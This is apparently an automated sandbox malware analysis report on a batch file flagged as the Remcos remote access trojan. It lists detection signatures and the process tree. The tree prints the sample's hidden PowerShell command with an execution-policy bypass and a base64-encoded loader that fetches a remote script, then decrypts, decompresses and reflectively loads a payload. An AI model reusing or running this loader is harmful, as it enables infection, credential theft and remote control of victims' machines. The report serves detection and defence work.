Windows
Analysis Report
tOpxHK0Z2U.bat
Overview
General Information
Sample name: | tOpxHK0Z2U.batrenamed because original name is a hash value |
Original sample name: | 883fc875fce3e9a54f8eb6025c50560f800adc146d616422c2db1bb47b7cc5e4.bat |
Analysis ID: | 1612239 |
MD5: | 890f45d950b48b371048ddce0b66790b |
SHA1: | f69a74cab519f7bcb5b41d81b0f908d44e4c6013 |
SHA256: | 883fc875fce3e9a54f8eb6025c50560f800adc146d616422c2db1bb47b7cc5e4 |
Tags: | abokirem-duckdns-orgbatuser-JAMESWT_MHT |
Infos: | |
Detection
Remcos
Score: | 100 |
Range: | 0 - 100 |
Confidence: | 100% |
Signatures
Detected Remcos RAT
Found malware configuration
Malicious sample detected (through community Yara rule)
Sigma detected: Drops script at startup location
Sigma detected: Remcos
Suricata IDS alerts for network traffic
Yara detected Remcos RAT
Yara detected UAC Bypass using CMSTP
.NET source code contains a sample name check
.NET source code references suspicious native API functions
Bypasses PowerShell execution policy
C2 URLs / IPs found in malware configuration
Connects to many ports of the same IP (likely port scanning)
Found suspicious powershell code related to unpacking or dynamic code loading
Installs a global keyboard hook
Joe Sandbox ML detected suspicious sample
Maps a DLL or memory area into another process
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Suspicious PowerShell Parameter Substring
Sigma detected: Suspicious Script Execution From Temp Folder
Suspicious powershell command line found
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file registry)
Uses dynamic DNS services
Yara detected WebBrowserPassView password recovery tool
Contains functionality for read data from the clipboard
Contains functionality to call native functions
Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)
Contains functionality to dynamically determine API calls
Contains functionality to modify clipboard data
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a start menu entry (Start Menu\Programs\Startup)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Change PowerShell Policies to an Insecure Level
Stores files to the Windows start menu directory
Suricata IDS alerts with low severity for network traffic
Too many similar processes found
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara detected Keylogger Generic
Yara signature match
Classification
- System is w10x64
cmd.exe (PID: 7472 cmdline:
C:\Windows \system32\ cmd.exe /c ""C:\User s\user\Des ktop\tOpxH K0Z2U.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) conhost.exe (PID: 7480 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) cmd.exe (PID: 7560 cmdline:
C:\Windows \system32\ cmd.exe /K "C:\Users \user\Desk top\tOpxHK 0Z2U.bat" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) conhost.exe (PID: 7572 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) powershell.exe (PID: 7612 cmdline:
"C:\Window s\SysWOW64 \WindowsPo werShell\v 1.0\powers hell.exe" -noprofile -windowst yle hidden -ep bypas s -Command "[Text.En coding]::U TF8.GetStr ing([Conve rt]::FromB ase64Strin g('aWV4ICg oaWV4ICgoJ 2lNSUNST1N PRlRTRVJWS UNFVVBEQVR FU3dyIC1NS UNST1NPRlR TRVJWSUNFV VBEQVRFU1V zZUJNSUNST 1NPRlRTRVJ WSUNFVVBEQ VRFU2FzaWN QTUlDUk9TT 0ZUU0VSVkl DRVVQREFUR VNhcnNpbmc gIk1JQ1JPU 09GVFNFUlZ JQ0VVUERBV EVTaE1JQ1J PU09GVFNFU lZJQ0VVUER BVEVTdE1JQ 1JPU09GVFN FUlZJQ0VVU ERBVEVTdE1 JQ1JPU09GV FNFUlZJQ0V VUERBVEVTc E1JQ1JPU09 GVFNFUlZJQ 0VVUERBVEV Tc01JQ1JPU 09GVFNFUlZ JQ0VVUERBV EVTOi8vMHh NSUNST1NPR lRTRVJWSUN FVVBEQVRFU zAuc3QvTUl DUk9TT0ZUU 0VSVklDRVV QREFURVM4S 01JQ1JPU09 GVFNFUlZJQ 0VVUERBVEV TdVYucHMxI icpLlJlcGx hY2UoJ01JQ 1JPU09GVFN FUlZJQ0VVU ERBVEVTJyw nJykpKS5Db 250ZW50KTt mdW5jdGlvb iB0Ym54Zig kcGFyYW1fd mFyKXsJJGF lc192YXI9W 1N5c3RlbS5 TZWN1cml0e S5DcnlwdG9 ncmFwaHkuQ WVzXTo6Q3J lYXRlKCk7C SRhZXNfdmF yLk1vZGU9W 1N5c3RlbS5 TZWN1cml0e S5DcnlwdG9 ncmFwaHkuQ 2lwaGVyTW9 kZV06OkNCQ zsJJGFlc19 2YXIuUGFkZ GluZz1bU3l zdGVtLlNlY 3VyaXR5LkN yeXB0b2dyY XBoeS5QYWR kaW5nTW9kZ V06OlBLQ1M 3OwkkYWVzX 3Zhci5LZXk 9W1N5c3Rlb S5Db252ZXJ 0XTo6RnJvb UJhc2U2NFN 0cmluZygnO VZ1Sk54T3d DdTh6b1JRU 2pyVi9XL2x ObzVaR05qU W02SEZ6MXV oazRWUT0nK TsJJGFlc19 2YXIuSVY9W 1N5c3RlbS5 Db252ZXJ0X To6RnJvbUJ hc2U2NFN0c mluZygnY2p TTW92SXB3M GpxdUZpbDh 4VFEvUT09J yk7CSRkZWN yeXB0b3Jfd mFyPSRhZXN fdmFyLkNyZ WF0ZURlY3J 5cHRvcigpO wkkcmV0dXJ uX3Zhcj0kZ GVjcnlwdG9 yX3Zhci5Uc mFuc2Zvcm1 GaW5hbEJsb 2NrKCRwYXJ hbV92YXIsI DAsICRwYXJ hbV92YXIuT GVuZ3RoKTs JJGRlY3J5c HRvcl92YXI uRGlzcG9zZ SgpOwkkYWV zX3Zhci5Ea XNwb3NlKCk 7CSRyZXR1c m5fdmFyO31 mdW5jdGlvb iBlbXVydSg kcGFyYW1fd mFyKXsJSUV YICckdWtjY Ws9TmV3LU9 iamVjdCBTe XN0ZW0uSU8 uTUFCQ2VtQ UJDb3JBQkN 5U0FCQ3RyQ UJDZWFBQkN tKCwkcGFyY W1fdmFyKTs nLlJlcGxhY 2UoJ0FCQyc sICcnKTsJS UVYICckb2N raXk9TmV3L U9iamVjdCB TeXN0ZW0uS U8uQUJDTUF CQ2VBQkNtQ UJDb0FCQ3J BQkN5QUJDU 0FCQ3RBQkN yQUJDZUFCQ 2FBQkNtQUJ DOycuUmVwb GFjZSgnQUJ DJywgJycpO wlJRVggJyR kdWdzZD1OZ XctT2JqZWN 0IFN5c3Rlb S5JTy5DQUJ Db21BQkNwc kFCQ2VBQkN zc0FCQ2lvQ UJDbi5BQkN HWkFCQ2lwQ UJDU3RBQkN yZUFCQ2FtQ UJDKCR1a2N haywgW0lPL kNBQkNvbUF CQ3ByQUJDZ XNBQkNzaUF CQ29uQUJDL kNvQUJDbXB BQkNyZUFCQ 3NzQUJDaUF CQ29BQkNuQ UJDTW9kZV0 6OkRBQkNlQ UJDY0FCQ29 tcEFCQ3JlQ UJDc3MpOyc uUmVwbGFjZ SgnQUJDJyw gJycpOwkkZ HVnc2QuQ29 weVRvKCRvY 2tpeSk7CSR kdWdzZC5Ea XNwb3NlKCk 7CSR1a2Nha y5EaXNwb3N lKCk7CSRvY 2tpeS5EaXN wb3NlKCk7C SRvY2tpeS5 Ub0FycmF5K Ck7fWZ1bmN 0aW9uIGluZ mRlKCRwYXJ hbV92YXIsJ HBhcmFtMl9 2YXIpewlJR VggJyR0ZHF zcD1bU3lzd GVtLlJBQkN lQUJDZmxBQ kNlY3RBQkN pb0FCQ24uQ UJDQXNBQkN zZUFCQ21iQ UJDbEFCQ3l BQkNdOjpMQ UJDb0FCQ2F BQkNkQUJDK FtieXRlW11 dJHBhcmFtX 3Zhcik7Jy5 SZXBsYWNlK CdBQkMnLCA nJyk7CUlFW CAnJG5heXJ